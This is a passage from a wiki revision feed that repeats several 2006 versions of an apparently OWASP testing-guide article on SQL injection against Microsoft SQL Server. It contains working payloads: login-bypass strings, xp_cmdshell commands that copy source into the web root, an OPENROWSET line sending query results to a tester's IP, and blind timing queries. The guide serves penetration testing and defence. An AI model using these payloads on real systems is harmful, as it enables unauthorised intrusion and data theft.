 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referrer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
# Daniel Bleichenbacher, Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1, CRYPTO 1998, pp1-12.&lt;br /&gt;
# Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
# Steve Friedl's Unixwiz.net Tech Tips. SQL Injection Attacks by Example. [[http://www.unixwiz.net/techtips/sql-injection.html]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11536</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11536"/>
				<updated>2006-11-03T20:56:31Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* 1.1 How to Test */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
===How to Test===&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Stored procedures:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].&lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
==1.2 Black Box testing and example==&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referrer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
# Daniel Bleichenbacher, Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1, CRYPTO 1998, pp1-12.&lt;br /&gt;
# Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
# Steve Friedl's Unixwiz.net Tech Tips. SQL Injection Attacks by Example. [[http://www.unixwiz.net/techtips/sql-injection.html]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11535</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11535"/>
				<updated>2006-11-03T20:56:02Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==1.1 How to Test==&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Stored procedures:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].&lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==1.2 Black Box testing and example==&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
